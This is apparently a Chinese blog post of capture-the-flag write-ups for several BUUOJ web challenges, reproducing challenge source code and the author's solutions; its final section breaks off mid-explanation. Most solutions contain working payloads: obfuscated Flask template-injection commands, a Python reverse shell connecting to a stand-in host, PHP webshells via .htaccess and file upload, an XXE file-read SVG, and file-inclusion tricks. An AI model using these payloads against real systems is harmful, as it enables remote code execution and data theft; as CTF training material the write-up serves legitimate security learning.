BUUOJ-Web题目-12

[pasecactf_2019]flask_ssti

[网鼎杯 2020 半决赛]AliceWebsite

[网鼎杯 2020 半决赛]BabyJS

[网鼎杯 2020 白虎组]PicDown

[GXYCTF2019]StrongestMind

[SUCTF 2018]GetShell

[BSidesCF 2019]SVGMagic

[XNUCA2019Qualifier]EasyPHP

[NPUCTF2020]ezinclude

[pasecactf_2019]flask_ssti

直接输入,得到了一个看起来像flag的东西

image.png

不过应该不是flag,进行常规的命令操作

单引号被过滤了,用双引号代替

应该是很多的字符都被过滤了

注意到提示

image.png

可能可以用Unicode绕过。

读取源码

1
{{[]["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[79]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"]["\u0065\u0076\u0061\u006c"]("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027 cat \u0061\u0070\u0070\u002e\u0070\u0079 \u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029")}}

注意这个Payload里面,cat的前后我特意加上了空格来标识,实际Payload主体和[RootersCTF2019]I_<3_Flask差不多。

分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

是通过remove的方式来进行操作。所以我们应该可以通过文件描述符的方式来读取flag

1
{{[]["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[79]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"]["\u0065\u0076\u0061\u006c"]("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027 cat /proc/self/fd/3 \u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029")}}

但是读取不出来,看样子只能计算答案了

根据得到变换后的flag

1
-M7\x10w@393Sw6{\x0eM_9R(D\x1f\x1c]\x17 mRe\x02U\x12[wWx+\x15k\x10[IG

变换函数

1
2
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

变换key

1
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')

由于使用异或进行变换,所以相同程序直接逆变换即可

image.png

[网鼎杯 2020 半决赛]AliceWebsite

任意文件读取,直接读取flag

[网鼎杯 2020 半决赛]BabyJS

这篇文章

[网鼎杯 2020 白虎组]PicDown

任意文件下载

首先下载/proc/self/cmdline,得知是Python后端。

1
python2 app.py

然后下载app.py,得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

给了一个shell,密码用文件读取描述符/proc/self/fd/3获得,最后Python反弹shell。

1
python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",5));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27

image.png

[GXYCTF2019]StrongestMind

成功1000次就有flag了,那么我们写个脚本来解决这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

url = 'http://027ba220-fea2-4458-a12a-844e4829b112.node3.buuoj.cn/index.php'

def send_answer(sess,ans):
#print(ans)
#return 'flag'
req = sess.post(url=url,data={"answer":ans})
req.encoding = req.apparent_encoding
if '1000' in req.text or '999' in req.text or '1001' in req.text:
print(req.text)
return eval(req.text.split("<br><br><form")[0].split('flag呦<br><br>')[1])

if __name__ == '__main__':
sess = requests.session()
for i in range(1002):
print("{0}".format(i))
ans = send_answer(sess,ans)
time.sleep(0.15)

image.png

[SUCTF 2018]GetShell

无字母数字php shell编写;操作方式同这里[极客大挑战 2019]RCE ME

经过尝试,得出上传内容是以下的内容时可以上传

1
2
3
<?=@$_=[]==[];$__=_.~课[$_].~尬[$_].~笔[$_].~端[$_];(~茉[$_].~内[$_].~茉[$_].~苏[$_].~的[$_].~咩[$_])($$__[~瞎[$_]]);

//相当于system($_POST[a]);

然后env得到环境变量中的flag

[BSidesCF 2019]SVGMagic

没啥提示,估计要用扫描器

然后没扫出来啥东西,随便render下感受了,猜测是Python后端或者是Node后端。

然后就不明所以,去百度了下得到了这篇文章,不过试了试好像不行。

然后查题解去了,知道了是XXE配合SVG。水平还是too young。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

image.png

下面的flag是图片形式的,需要手动敲进去。

[XNUCA2019Qualifier]EasyPHP

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

试了下,没法执行php代码,但是可以执行HTMLXMLJS代码。

不过结合题目,应该还是有办法执行的。

然后随便写了个**.htaccess**文件,服务器就炸了

推测可能就是通过类似的配置文件来实现的只有index.php可以被执行吧,那就应该是通过写**.htaccess来操作shell**了。

过滤没啥想法,上网查了下题解,可以通过斜杠支持多行注释从而达到写shell的效果,同时屏蔽后面的多余字符。

1
2
3
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_POST[a]);?>\

image.png

image.png

[NPUCTF2020]ezinclude

进入之后提示我error,然后F12看下内容

image.png

Cookie里面也存在一个Hash,猜测是secret的编码,去解密下,然后查不到

不过可以猜测可能是哈希长度拓展攻击,先用HashPump试试

不过没给消息长度,所以就很奇特;最后猜了一堆才发现是GET里面传参,name为空,passCookie的哈希值就行了。感觉猜参数很没劲。

image.png

然后立刻404了,用Burpsuite卡住发现是个文件包含,而且看起来没过滤,那么直接包含就完事了。

image.png

1
2
3
php://filter/convert.base64-decode/resource=php://input

<?php phpinfo?>

然后就有过滤了。。。

image.png

换个操作方式试试

image.png

试试读取点别的

image.png

可惜挂载点中没有flag的挂载点;那么应该要想想别的办法。

普通文件包含下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

1
2
3
4
5
config.php

<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

然后不会了,查题解去,然后知道了有个文件叫dir.php(。。。这个只能动用一些比较别致的扫描器才能扫出来)

然后就是PHP临时文件读写的bug就完事了。

抄个脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO
payload = "<?php eval($_POST[a]);?>"
data={
'file': BytesIO(payload.encode())
}
url="http://4be2c7ce-1dea-4fc0-ad5e-ee6bba91e569.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=data,allow_redirects=False)
except:
print("fail!")

image.png

上传完shell之后蚁剑连接,PHP7_GC_UAF绕过一下,得到shell。

image.png

然后查了下题解,原来是写到了**phpinfo()**里面。。。

image.png

不能用蚁剑的**phpinfo()**,那个没法显示,挺奇怪的。。。

bestphp’s revenge

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

其实网站下面还有一个是flag.php,这个页面也给了部分代码,如下:

1
2
3
4
5
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
only localhost can get flag!

这里需要使用SSRF拿到flag

然后不是很明白这个逻辑,于是去查了下题解,知道了是SOAP的问题

然后就思考怎么做:

首先我们得知道,执行reset($_SESSION),执行结果是$_SESSION['name']

然后我们可以用session_start(['serialize_handler'=>'php_serialize']);来调整序列化方法,从而实现错误的反序列化攻击


BUUOJ-Web题目-12
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-12
Author
John Doe
Posted on
October 29, 2020
Licensed under